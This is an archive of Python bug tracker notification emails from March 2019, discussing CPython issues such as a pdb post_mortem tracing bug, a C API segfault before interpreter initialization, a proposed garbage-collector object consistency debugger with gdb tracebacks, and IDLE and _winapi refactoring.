Cameron Simpson <cs at cskk.id.au> added the comment:

I've withdrawn the PR; I hadn't run the full test suite and there are things to fix. - Cameron

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36375>
_______________________________________

From report at bugs.python.org  Thu Mar 21 02:32:57 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 06:32:57 +0000
Subject: [issue36387] Refactor getenvironment() in _winapi.c
Message-ID: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Function getenvironment() in Modules/_winapi.c is used for converting the environment mapping to the wchar_t string for passing to CreateProcessW(). It performs the following steps:

* Allocate a Py_UCS4 buffer and copy all keys and values, converting them to Py_UCS4.
* Create a PyUnicode object from the Py_UCS4 buffer.
* Create a wchar_t buffer from the PyUnicode object (unless it has the UCS2 kind).

The proposed PR makes it performing a single steps:

* Allocate a wchar_t buffer and copy all keys and values, converting them to wchar_t.

This needs less memory allocations and smaller memory consumption. In most cases this needs also less and faster memory scans and copies.

In addition, the PR replaces PySequence_Fast C API with faster PyList C API. In the past PyMapping_Keys() and PyMapping_Values() could return a tuple in unlikely case, but now they always return a list (see issue 28280).

The current code uses the legacy Unicode C API, while the new code uses the newer (added in 3.3) wchar_t based Unicode C API, so something similar to this change should be made sooner or later.

----------
components: Extension Modules
messages: 338527
nosy: lemburg, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Refactor getenvironment() in _winapi.c
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 21 02:40:17 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 06:40:17 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1553150417.53.0.299811039009.issue36346@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
dependencies: +Refactor getenvironment() in _winapi.c

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Thu Mar 21 02:40:27 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 06:40:27 +0000
Subject: [issue36387] Refactor getenvironment() in _winapi.c
In-Reply-To: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>
Message-ID: <1553150427.84.0.563665673952.issue36387@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
versions: +Python 3.8 -Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 21 03:47:37 2019
From: report at bugs.python.org (anthony shaw)
Date: Thu, 21 Mar 2019 07:47:37 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
In-Reply-To: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>
Message-ID: <1553154457.11.0.0286768259449.issue36386@roundup.psfhosted.org>


anthony shaw <anthony.p.shaw at gmail.com> added the comment:

This applies to PyUnicode_EncodeFSDefault as well, it has the same issue

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 03:48:32 2019
From: report at bugs.python.org (anthony shaw)
Date: Thu, 21 Mar 2019 07:48:32 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
In-Reply-To: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>
Message-ID: <1553154512.92.0.78120932927.issue36386@roundup.psfhosted.org>


anthony shaw <anthony.p.shaw at gmail.com> added the comment:

I'm expecting a "this is not a bug, why would the interpreter not be initialized", but it would be nice to get a friendly error message since this is a public API.
IF so, am also happy to submit a PR with a fix

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 04:05:03 2019
From: report at bugs.python.org (Sujoy)
Date: Thu, 21 Mar 2019 08:05:03 +0000
Subject: [issue36315] Unable to install Python 3.7.2
In-Reply-To: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>
Message-ID: <1553155503.21.0.409063972674.issue36315@roundup.psfhosted.org>


Sujoy <ecesujoy at gmail.com> added the comment:

Hi Steve,

I have attached the "core_JustForMe" log file

----------
Added file: https://bugs.python.org/file48226/Python 3.7.2 (32-bit)_20190321131450_000_core_JustForMe.log

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Thu Mar 21 04:09:15 2019
From: report at bugs.python.org (SilentGhost)
Date: Thu, 21 Mar 2019 08:09:15 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
In-Reply-To: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>
Message-ID: <1553155755.51.0.0435127172996.issue36386@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +vstinner
type:  -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 04:16:51 2019
From: report at bugs.python.org (SilentGhost)
Date: Thu, 21 Mar 2019 08:16:51 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553156211.83.0.38796418318.issue36384@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +pmoody
versions:  -Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Thu Mar 21 04:28:00 2019
From: report at bugs.python.org (daniel hahler)
Date: Thu, 21 Mar 2019 08:28:00 +0000
Subject: [issue36388] pdb: do_debug installs sys.settrace handler when used
 inside post_mortem
Message-ID: <1553156880.66.0.415237926561.issue36388@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

It seems like the "debug" command is not properly handled with "post_mortem()".

It appears due to using `sys.settrace(self.trace_dispatch)` in the end of `do_debug`, although no tracing is installed with post_mortem in the first place.


More info:

Given the following test script:

```
def exc():
    raise Exception()


try:
    exc()
except Exception:
    import pdb
    pdb.post_mortem()
```

The behavior with just "quit" is fine:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) q
```

But when using `debug` inside of it, it will stop at `cmd.postcmd`, and you have to use "continue" twice:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) debug print(1)
ENTERING RECURSIVE DEBUGGER
> <string>(1)<module>()
((Pdb)) c
1
LEAVING RECURSIVE DEBUGGER
> ?/pyenv/3.8-dev/lib/python3.8/cmd.py(159)postcmd()
-> return stop
(Pdb) c
(Pdb) c
```

Also when using `quit` inside of the `debug`:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) debug print(1)
ENTERING RECURSIVE DEBUGGER
> <string>(1)<module>()
((Pdb)) q
LEAVING RECURSIVE DEBUGGER
> ?/pyenv/3.8-dev/lib/python3.8/cmd.py(159)postcmd()
-> return stop
(Pdb) c
(Pdb) c
```

When using `quit` when at `postcmd()` it will even raise `BdbQuit`:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) debug print(1)
ENTERING RECURSIVE DEBUGGER
> <string>(1)<module>()
((Pdb)) q
LEAVING RECURSIVE DEBUGGER
> ?/pyenv/3.8-dev/lib/python3.8/cmd.py(159)postcmd()
-> return stop
(Pdb) q
Traceback (most recent call last):
  File "t_pdb.py", line 6, in <module>
    exc()
  File "t_pdb.py", line 2, in exc
    raise Exception()
Exception

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "t_pdb.py", line 9, in <module>
    pdb.post_mortem()
  File "?/pyenv/3.8-dev/lib/python3.8/pdb.py", line 1626, in post_mortem
    p.interaction(None, t)
  File "?/pyenv/3.8-dev/lib/python3.8/pdb.py", line 352, in interaction
    self._cmdloop()
  File "?/pyenv/3.8-dev/lib/python3.8/pdb.py", line 321, in _cmdloop
    self.cmdloop()
  File "?/pyenv/3.8-dev/lib/python3.8/cmd.py", line 139, in cmdloop
    stop = self.postcmd(stop, line)
  File "?/pyenv/3.8-dev/lib/python3.8/cmd.py", line 159, in postcmd
    return stop
  File "?/pyenv/3.8-dev/lib/python3.8/cmd.py", line 159, in postcmd
    return stop
  File "?/pyenv/3.8-dev/lib/python3.8/bdb.py", line 88, in trace_dispatch
    return self.dispatch_line(frame)
  File "?/pyenv/3.8-dev/lib/python3.8/bdb.py", line 113, in dispatch_line
    if self.quitting: raise BdbQuit
bdb.BdbQuit
```

----------
components: Library (Lib)
messages: 338531
nosy: blueyed
priority: normal
severity: normal
status: open
title: pdb: do_debug installs sys.settrace handler when used inside post_mortem
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36388>
_______________________________________

From report at bugs.python.org  Thu Mar 21 05:14:54 2019
From: report at bugs.python.org (daniel hahler)
Date: Thu, 21 Mar 2019 09:14:54 +0000
Subject: [issue36388] pdb: do_debug installs sys.settrace handler when used
 inside post_mortem
In-Reply-To: <1553156880.66.0.415237926561.issue36388@roundup.psfhosted.org>
Message-ID: <1553159694.38.0.339541339155.issue36388@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
keywords: +patch
pull_requests: +12431
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36388>
_______________________________________

From report at bugs.python.org  Thu Mar 21 05:19:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 09:19:43 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
In-Reply-To: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>
Message-ID: <1553159983.84.0.456187894854.issue36386@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> I'm expecting a "this is not a bug, why would the interpreter not be initialized",

this is not a bug, why would the interpreter not be initialized, as documented at:
https://docs.python.org/dev/c-api/init.html

> but it would be nice to get a friendly error message since this is a public API.
IF so, am also happy to submit a PR with a fix

Python has a *very large* C API. It doesn't seem worth it to me to modify every single Python function to detect when the API is misused.

There is maybe room for some clever tricks for some specific cases. For example, modify PyMem_Malloc and PyObject_Malloc default allocators to have an implementation with calls Py_FatalError() with a clear error message like "Py_Initialize must be called before using the Python C API". I modified Python internals to only use PyMem_RawMalloc during early Python initialization, and we can reconfigure PyMem_Malloc and PyObject_Malloc during Py_Initialize().

But... according to your backtrace, it wouldn't help for your exact use case: call PyUnicode_DecodeFSDefault() before Py_Initialize(). The crash occurs before PyMem_Malloc or PyObject_Malloc is called. I don't see any other clever tricks which would have no impact on performance when the API is properly used.


... I suggest to close this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 05:28:42 2019
From: report at bugs.python.org (anthony shaw)
Date: Thu, 21 Mar 2019 09:28:42 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
In-Reply-To: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>
Message-ID: <1553160522.24.0.227960855858.issue36386@roundup.psfhosted.org>


anthony shaw <anthony.p.shaw at gmail.com> added the comment:

This is because PyUnicode_DecodeFSDefaultAndSize calls _PyInterpreterState_GET_UNSAFE(), which already documents the potential NULL return value. 

/* Get the current interpreter state.

   The macro is unsafe: it does not check for error and it can return NULL.

   The caller must hold the GIL.

   See also _PyInterpreterState_Get()
   and _PyGILState_GetInterpreterStateUnsafe(). */
#define _PyInterpreterState_GET_UNSAFE() (_PyThreadState_GET()->interp)

> Python has a *very large* C API. It doesn't seem worth it to me to modify every single Python function to detect when the API is misused.

Understood, happy for this to be closed. Aware that I was misusing the API :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 05:32:26 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 09:32:26 +0000
Subject: [issue36386] segfault on PyUnicode_DecodeFSDefaultAndSize for
 uninitialized Py
In-Reply-To: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>
Message-ID: <1553160746.25.0.228401004637.issue36386@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> This is because PyUnicode_DecodeFSDefaultAndSize calls _PyInterpreterState_GET_UNSAFE(), which already documents the potential NULL return value. 

_PyInterpreterState_GET_UNSAFE() is preferred over other functions getting the interpreter for best performances. _PyInterpreterState_GET_UNSAFE() is the most efficient way to access the interpreter. That's why I was talking about the cost of additional checks (to detect API misuage) at runtime.

> Understood, happy for this to be closed. Aware that I was misusing the API :-)

I close the issue.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 05:43:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 09:43:43 +0000
Subject: [issue17234] python-2.7.3-r3: crash in visit_decref()
In-Reply-To: <1361266544.85.0.580763984436.issue17234@psf.upfronthosting.co.za>
Message-ID: <1553161423.73.0.44315563659.issue17234@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The latest message from the reporter was at 2013-08-25: 6 years ago. I don't think that we will be able to continue to investigate the issue, so I close it as "out of date".

----------
nosy: +vstinner
resolution:  -> out of date
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17234>
_______________________________________

From report at bugs.python.org  Thu Mar 21 07:02:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 11:02:42 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
Message-ID: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

That's the follow-up of a thread that I started on python-dev in June 2018:

  [Python-Dev] Idea: reduce GC threshold in development mode (-X dev)
  https://mail.python.org/pipermail/python-dev/2018-June/153857.html

When an application crash during a garbage collection, we are usually clueless about the cause of the crash. The crash usually occur in visit_decref() on a corrupted Python object. Sadly, not only there are too many possible reasons which can explain why a Python object is corrupted, but the crash usually occur too late after the object is corrupted. Using a smaller GC threshold can help, but it's not enough.

It would help to be able to enable a builtin checker for corrupted objects. Something that we would triggered by the GC with a threshold specified by the user and that would have zero impact on performance when it's not used.

The implementation would be to iterate on objects and ensure that they are consistent.

Attached PR is an implementation of this idea. It uses new API that I wrote recently:

* _PyObject_ASSERT()
* _PyObject_IsFreed()
* _PyType_CheckConsistency()
* _PyUnicode_CheckConsistency()
* _PyDict_CheckConsistency()

If an inconsistency is detected, _PyObject_ASSERT() will call _PyObject_Dump() to dump info about the object. This function can crash, but well, anything can crash on a memory corruption...

----------
components: Interpreter Core
messages: 338536
nosy: pablogsal, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Add gc.enable_object_debugger(): detect corrupted Python objects in the GC
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 07:14:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 11:14:00 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553166840.12.0.195975086149.issue36389@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12432
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 07:14:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 11:14:16 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553166856.77.0.519289093358.issue36389@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 08:34:20 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 12:34:20 +0000
Subject: [issue36390] IDLE: Refactor formatting methods from editor
Message-ID: <1553171660.93.0.476861789874.issue36390@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In editor.py, there are several methods (indent, dedent, comment, uncomment, tabify, untabify) that are event handlers for formatting text.  To simplify testing and to simplify the EditorWindow class, refactor these methods into their own method.

This was motivated by issue36219, which is a request for another test formatting option.

----------
assignee: terry.reedy
components: IDLE
messages: 338537
nosy: cheryl.sabella, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE: Refactor formatting methods from editor
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36390>
_______________________________________

From report at bugs.python.org  Thu Mar 21 08:38:56 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 12:38:56 +0000
Subject: [issue36390] IDLE: Refactor formatting methods from editor
In-Reply-To: <1553171660.93.0.476861789874.issue36390@roundup.psfhosted.org>
Message-ID: <1553171936.59.0.802295858893.issue36390@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
keywords: +patch
pull_requests: +12433
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36390>
_______________________________________

From report at bugs.python.org  Thu Mar 21 08:53:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 12:53:46 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553172826.56.0.993781015263.issue36389@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Hum, _PyType_CheckConsistency() fails on the following assertion during Python finalization:

    ASSERT(type->tp_mro != NULL && PyTuple_Check(type->tp_mro));

Error:
---
/home/vstinner/prog/python/master/python: No module named asyncio.__main__; 'asyncio' is a package and cannot be directly executed
Objects/typeobject.c:149: _PyType_CheckConsistency: Assertion "(type->tp_mro != ((void *)0) && ((((((PyObject*)(type->tp_mro))->ob_type))->tp_flags & ((1UL << 26))) != 0))" failed
Enable tracemalloc to get the memory block allocation traceback

object  : <enum 'AddressFamily'>
type    : EnumMeta
refcount: 1
address : 0x9138f0
Fatal Python error: _PyObject_AssertFailed

Current thread 0x00007ffff7be8740 (most recent call first):
---

gdb traceback:
---
(gdb) where
#0  __GI_raise (sig=sig at entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff7c0f895 in __GI_abort () at abort.c:79
#2  0x000000000055bf91 in fatal_error (prefix=0x0, msg=0x68a47d "_PyObject_AssertFailed", status=-1) at Python/pylifecycle.c:2088
#3  0x000000000055bfbd in Py_FatalError (msg=0x68a47d "_PyObject_AssertFailed") at Python/pylifecycle.c:2098
#4  0x000000000047be0f in _PyObject_AssertFailed (obj=<EnumMeta() at remote 0x9138f0>, 
    expr=0x68d720 "(type->tp_mro != ((void *)0) && ((((((PyObject*)(type->tp_mro))->ob_type))->tp_flags & ((1UL << 26))) != 0))", msg=0x0, 
    file=0x68d632 "Objects/typeobject.c", line=149, function=0x690ba0 <__func__.14343> "_PyType_CheckConsistency") at Objects/object.c:2197
#5  0x000000000048ebd8 in _PyType_CheckConsistency (type=0x9138f0) at Objects/typeobject.c:149
#6  0x00000000004770a5 in _PyObject_CheckConsistency (op=<AddressFamily at remote 0x7fffea7a0870>) at Objects/object.c:35
#7  0x000000000058de3c in gc_check_object (gc=0x7fffea7a0860) at Modules/gcmodule.c:1280
#8  0x000000000058de90 in _PyGC_CheckAllObjets () at Modules/gcmodule.c:1290
#9  0x000000000058f4a0 in gc_check_object_debugger () at Modules/gcmodule.c:2007
#10 0x000000000058f7c7 in PyObject_GC_Del (op=0x7fffea7a27c0) at Modules/gcmodule.c:2109
#11 0x0000000000467188 in dict_dealloc (mp=0x7fffea7a27c0) at Objects/dictobject.c:1996
#12 0x000000000047be44 in _Py_Dealloc (op={}) at Objects/object.c:2212
#13 0x0000000000461cce in _Py_DECREF (filename=0x6855a0 "./Include/object.h", lineno=533, op={}) at ./Include/object.h:470
#14 0x0000000000461d1c in _Py_XDECREF (op={}) at ./Include/object.h:533
#15 0x0000000000462fef in free_keys_object (keys=0x9120e0) at Objects/dictobject.c:580
#16 0x000000000046284f in dictkeys_decref (dk=0x9120e0) at Objects/dictobject.c:324
#17 0x00000000004664f2 in PyDict_Clear (op={}) at Objects/dictobject.c:1722
#18 0x00000000004969b8 in type_clear (type=0x911c50) at Objects/typeobject.c:3637
#19 0x0000000000490d03 in subtype_clear (self=<EnumMeta() at remote 0x911c50>) at Objects/typeobject.c:1118
#20 0x000000000058d390 in delete_garbage (collectable=0x7fffffffcef0, old=0x7d2560 <_PyRuntime+416>) at Modules/gcmodule.c:931
#21 0x000000000058d833 in collect (generation=2, n_collected=0x0, n_uncollectable=0x0, nofail=1) at Modules/gcmodule.c:1100
#22 0x000000000058f175 in _PyGC_CollectNoFail () at Modules/gcmodule.c:1915
#23 0x000000000054759c in PyImport_Cleanup () at Python/import.c:589
#24 0x000000000055a442 in Py_FinalizeEx () at Python/pylifecycle.c:1162
#25 0x000000000055c1e5 in Py_Exit (sts=1) at Python/pylifecycle.c:2188
#26 0x00000000005677fb in handle_system_exit () at Python/pythonrun.c:642
#27 0x0000000000567821 in PyErr_PrintEx (set_sys_last_vars=1) at Python/pythonrun.c:652
#28 0x00000000005674c5 in PyErr_Print () at Python/pythonrun.c:548
#29 0x00000000004222f2 in pymain_run_module (modname=0x7db6d0 L"asyncio", set_argv0=1) at Modules/main.c:566
#30 0x0000000000422ad6 in pymain_run_python (interp=0x7da350, exitcode=0x7fffffffd254) at Modules/main.c:799
#31 0x0000000000422c6a in pymain_main (args=0x7fffffffd2a0) at Modules/main.c:877
#32 0x0000000000422d4e in _Py_UnixMain (argc=3, argv=0x7fffffffd3c8) at Modules/main.c:922
#33 0x0000000000420796 in main (argc=3, argv=0x7fffffffd3c8) at ./Programs/python.c:16
---

Maybe my assumption on tp_mro was wrong. I will remove the assertion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 08:55:24 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 12:55:24 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553172924.07.0.777143445956.issue36389@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I'm not sure if I should include an unit test. WIP patch for that:

diff --git a/Modules/_testcapimodule.c b/Modules/_testcapimodule.c
index 350ef77163..9c0d0cf41a 100644
--- a/Modules/_testcapimodule.c
+++ b/Modules/_testcapimodule.c
@@ -4718,6 +4718,18 @@ negative_refcount(PyObject *self, PyObject *Py_UNUSED(args))
 #endif
 
 
+static PyObject *
+corrupted_object(PyObject *self, PyObject *Py_UNUSED(args))
+{
+    PyObject *obj = PyList_New(0);
+    if (obj == NULL) {
+        return NULL;
+    }
+    obj->ob_type = NULL;
+    return obj;
+}
+
+
 static PyMethodDef TestMethods[] = {
     {"raise_exception",         raise_exception,                 METH_VARARGS},
     {"raise_memoryerror",       raise_memoryerror,               METH_NOARGS},
@@ -4948,6 +4960,7 @@ static PyMethodDef TestMethods[] = {
 #ifdef Py_REF_DEBUG
     {"negative_refcount", negative_refcount, METH_NOARGS},
 #endif
+    {"corrupted_object", corrupted_object, METH_NOARGS},
     {NULL, NULL} /* sentinel */
 };
 


Tested manually using this script:
---
import gc, _testcapi, sys

gc.enable_object_debugger(1)
x = _testcapi.corrupted_object()
y = []
y = None
# Debugger should trigger here
x = None
---

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 08:57:58 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 12:57:58 +0000
Subject: [issue36390] IDLE: Refactor formatting methods from editor
In-Reply-To: <1553171660.93.0.476861789874.issue36390@roundup.psfhosted.org>
Message-ID: <1553173078.62.0.821065414158.issue36390@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Refactoring the methods was relatively straight forward, but I did have some questions:

1.  The name `formatregion` could probably be improved.
2.  The `classifyws` method is a module level method in editor.  It's needed in `formatregion` also, so I made a copy (bad!).  I would have liked to create a `utils.py` for this, but maybe there's a better place for it?  It doesn't just operate on text widgets as it is just a string function.  I'm sure there's an obvious choice that I'm missing.  See also #4 below.
3.  `tabwidth` and `indentwidth` in `formatregion` are getting the values from the editor window.  I thought about adding those to the init for FormatRegion, but then they would need to be updated if config changed.  Not sure which way would be better.
4.  Other methods in editor might be candidates for moving, such as the auto-indent methods (search on `### begin autoindent code ###` in editor) and specifically `smart_indent_event`.  Moving more of the indent code to a separate module helps with #2 and #3 above, but I wasn't sure how much of the text formatting should be moved.  I thought it best to start with the minimal change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36390>
_______________________________________

From report at bugs.python.org  Thu Mar 21 09:00:06 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 13:00:06 +0000
Subject: [issue36387] Refactor getenvironment() in _winapi.c
In-Reply-To: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>
Message-ID: <1553173206.78.0.0513229220559.issue36387@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12434
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 21 09:00:29 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 13:00:29 +0000
Subject: [issue36387] Refactor getenvironment() in _winapi.c
In-Reply-To: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>
Message-ID: <1553173229.53.0.300267109383.issue36387@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 21 09:05:14 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 13:05:14 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553173514.97.0.962018150326.issue36389@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It is better to not use assert(foo && bar). Use instead two separate asserts: assrte(foo) and assert(bar).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 09:09:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 13:09:05 +0000
Subject: [issue33622] Fix and improve errors handling in the garbage collector
In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za>
Message-ID: <1553173745.23.0.937636536664.issue33622@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33622>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:14:02 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 14:14:02 +0000
Subject: [issue36389] Add gc.enable_object_debugger(): detect corrupted Python
 objects in the GC
In-Reply-To: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>
Message-ID: <1553177642.56.0.940170236762.issue36389@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> It is better to not use assert(foo && bar). Use instead two separate asserts: assrte(foo) and assert(bar).

Hum, I looked at my PR and I'm not sure that I added such new assertion.

Note: "assert" on calling assert(_PyDict_CheckConsistency(mp)) is only used to remove the call in release build, but the function always return 1. The function does uses assert() or _PyObject_ASSERT() internally with a different line number and the exact failing expression.

Do you want me to enhance existing _PyDict_CheckConsistency() assertions in the same PR?

----------

_______________________________________
